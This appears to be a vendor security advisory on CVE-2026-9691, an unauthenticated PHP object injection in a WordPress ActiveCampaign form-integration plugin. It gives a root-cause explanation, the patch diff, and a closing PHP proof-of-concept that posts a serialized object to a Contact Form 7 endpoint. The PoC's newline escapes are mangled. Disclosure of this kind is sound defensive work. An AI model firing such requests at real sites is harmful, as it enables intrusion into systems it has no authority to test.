Atomic Edge analysis of CVE-2026-9691: The Integration for ActiveCampaign and Contact Form 7, WPForms, Elementor, Ninja Forms plugin for WordPress versions up to and including 1.1.1 contains an unauthenticated PHP Object Injection vulnerability via deserialization of untrusted input, with a CVSS score of 8.1.
The root cause lies in the function at line 955 of the file `cf7-active-campaign/cf7-active-campaign.php`. The plugin calls `maybe_unserialize($value)` on user-supplied data without proper sanitization or validation. The `$value` variable is derived from form submission data, which an attacker can control. The call to `maybe_unserialize` attempts to deserialize the input if it appears to be a serialized PHP string, allowing injection of arbitrary PHP objects.
An unauthenticated attacker can exploit this by sending a crafted POST request to any endpoint that triggers the vulnerable code path, such as a Contact Form 7 submission. The attacker includes a malicious PHP serialized object payload in a form field value. When the plugin processes the submission, it passes the payload to `maybe_unserialize`, which deserializes it. This enables object injection if a POP (Property Oriented Programming) chain exists in the WordPress environment.
The patch in version 1.1.2 comments out the vulnerable `maybe_unserialize($value)` call at line 955. Before the patch, the plugin deserialized user input unconditionally. After the patch, the code no longer deserializes the value, preventing object injection entirely.
If a POP chain is present via other installed plugins or themes, exploitation could allow arbitrary file deletion, sensitive data retrieval, or remote code execution. Without a POP chain, the vulnerability may lead to unexpected object instantiation or memory corruption.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-active-campaign/cf7-active-campaign.php
+++ b/cf7-active-campaign/cf7-active-campaign.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: Contact Form ActiveCampaign
* Description: Integrates Contact form 7 , <a href="https://www.crmperks.com/product/contact-form-entries-plugin/">Contact Form Entries Plugin</a> and many other forms with Active Campaign allowing form submissions to be automatically sent to your Active Campaign account
-* Version: 1.1.1
+* Version: 1.1.2
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/product/contact-form-activecamp-plugin/
@@ -29,7 +29,7 @@
public $crm_name = "activecamp";
public $id = "vxcf_activecamp";
public $domain = "vxcf-activecamp";
- public $version = "1.1.1";
+ public $version = "1.1.2";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_activecamp";
@@ -952,7 +952,7 @@
$value=$value['value'];
}
if(!is_array($value)){
- $value=maybe_unserialize($value);
+ // $value=maybe_unserialize($value);
}
}
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9691 - Integration for ActiveCampaign and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.1.1 - Unauthenticated PHP Object Injection
$target_url = 'http://example.com/wp-json/contact-form-7/v1/contact-forms/'; // Adjust to your CF7 endpoint
// Craft a serialized PHP object payload (example: generic object, no POP chain needed for detection)
$payload = serialize(new stdClass());
// The vulnerable parameter is 'value' inside a form field array
$post_data = array(
'your-name' => array(
'value' => $payload
),
'your-email' => 'test@example.com',
'your-message' => 'Test'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
?>
